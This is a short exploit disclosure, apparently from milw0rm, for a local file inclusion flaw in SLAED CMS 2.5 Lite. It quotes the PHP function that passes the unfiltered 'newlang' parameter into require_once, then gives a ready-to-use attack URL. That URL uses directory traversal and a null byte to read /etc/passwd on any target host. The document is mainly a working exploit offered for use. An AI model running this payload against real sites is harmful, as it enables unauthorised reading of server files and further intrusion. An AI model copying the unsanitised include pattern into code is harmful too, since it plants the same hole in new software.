# SLAED CMS 2.5 Lite Local file inclusion # Script url http://www.slaed.net/uploads/files/public/SLAED_CMS_2.5_Lite.zip # Lets code in function/sources.php: 780: // Format language 781: function get_lang($module="") { 782: global $multilingual, $currentlang, $language, $user_cookie_t; 783: if (isset($_REQUEST['newlang']) && $multilingual == "1") { 784: if (file_exists("language/lang-".$_REQUEST['newlang'].".php")) { 785: setcookie("lang", $_REQUEST['newlang'], time() + intval($user_cookie_t)); 786: require_once("language/lang-".$_REQUEST['newlang'].".php"); ... And in index.php: 9: require_once("function/function.php"); 10: get_lang(); # As you can see variable newlang is not filtered, so, if magic_quotes_gpc turned off, we can use exploit: http://[targethost]/[path]/index.php?newlang=../../../../../../../../../../etc/passwd%00 # Bug discovered by The_HuliGun # Greetz to: NaTka and all people who understand... # See u soon! # milw0rm.com [2008-01-23]